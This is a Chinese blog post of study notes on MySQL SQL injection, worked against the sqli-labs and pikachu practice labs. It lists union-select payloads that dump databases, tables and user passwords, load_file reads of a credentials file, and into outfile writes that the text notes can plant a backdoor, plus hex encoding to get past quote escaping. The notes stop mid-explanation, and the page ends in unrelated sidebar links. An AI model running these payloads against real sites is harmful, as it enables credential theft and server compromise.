当前位置:网站首页>mysql 注入
mysql 注入
2022-08-02 06:20:00 【一只Traveler】
1.不同用户下的目录是不同的,最高权限的是root,可以查看整个数据库;
同一个服务器下的不同网站之间的数据库用户有可能是不同的,如果a网站可以有SQL注入,他的用户是root 的话就可以实现跨站数据库入侵,去查看网站b下面的数据库;
2.注入常规步骤
判断是否存在注入;
最常见加 ' 报错
and 1=1 正常
and 1=2 回显错误;
存在注入;有注入点:
对注入点进行信息收集:
以最常见的union联合注入来举例:
1,判断字段个数 使用 order by x (112345)错误回显来知道字段数;
2.判断回显的位置;使用 select 1,,2,3,4...看回显的位置;
3.查询数据库 version():假如回显位置在1;构造 select version(),2,3.
来判断该数据库的名字和版本;
4.查当前数据库名:database();
常用语法:
union select 1,group_concat(schema_name),3 from information_schema.schemata 爆出所有数据库
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'pikachu' 获取特定数据库表名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'pikachu'获取特定数据库特定表列数据
union select 1,username,password from pikachu.users查询user的数据,根据实际来变化里面的内容;
一些命令的操作:
文件读写操作
load_file():读取函数
into outfile或iinto dumpfile:导出函数
获取路径的常见方法:
报错显示、在注入语法错误时会爆出路径;
遗留文件、比如phpinfo.php文件信息;
漏洞报错、比如根据cms框架的漏洞,搜该漏洞爆路径的漏洞方法来获取路径;
平台配置文件、爆破等、
load_file() 的使用:用来读取数据库下的文件;
union select 1,load_file('D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3读取本地文件;这里有一个小坑,就是 \ 转义字符;我们需要用\\来告诉它我们这是一个\;如果就单独的\,只是一个转义字符;
into outfile : union select 1, 'x' ,3 into outfile 'D:\\x.php' --+ 写入文件‘x’ 到 x.php 中;这个函数可以用来上传后门;
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线;
什么意思呢,比如说,传
union select 1,load_file('D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'),3
就会被解析为union select 1,load_file(\'D:\\\\Software\\\\PhpStudy\\\\phpstudy_pro\\\\WWW\\\\sqli-labs-master\\\\sql-connections\\\\db-creds.inc\'),3
怎么绕过呢?
使用编码饶过;将'D:\\Software\\PhpStudy\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc'
进行十六进制编码传进去:
边栏推荐
猜你喜欢

optional

Specified URL is not reachable,caused by :‘Read timed out

(部分不懂,笔记整理未完成)【图论】差分约束

论文《Deep Multifaceted Transformers for Multi-objective Ranking in Large-Scale E-commerce Recommender》

File upload vulnerability (2)

MySQL driver jar package download -- nanny tutorial

abaqus如何快速导入其他cae文件的assembly?

堡垒机、堡垒机的原理

看图就懂|衡量业务增长健康的销售指标如何选择

Kind of weird!Access the destination URL, the host can container but not
随机推荐
MySQL classic 50 practice questions and the most detailed analysis of the whole network
Leading the demand and justifying the HR value - the successful launch of the "Human Resource Leading Model HRLM"
Revitalize rural circular economy and digital chain to link agricultural "ecological chain"
Connection reset by peer 问题解析
Py之mlxtend:mlxtend库的简介、安装、使用方法之详细攻略
MySQL Advanced SQL Statements
实验8 VLAN综合实验
[npm install error report collection] - npm ERR! code ENOTEMPTY npm ERR! syscall rmdir
MySql 5.7.38 download and installation tutorial, and realize the operation of MySql in Navicat
Py's mlxtend: a detailed guide to the introduction, installation, and usage of the mlxtend library
Day 4 of HCIP
How does abaqus quickly import the assembly of other cae files?
实例032:反向输出II
At age 94, pioneer Turing award winner, computational complexity theory, Juris Hartmanis, died
PMP新考纲考试内容介绍
chrome 插件开发指南
Servlet
[数据集][VOC]男女数据集voc格式6188张
专家见解|经济低迷期把握创新机会的 3 大方法
Expert Insights | 3 ways to seize innovation opportunities in a downturn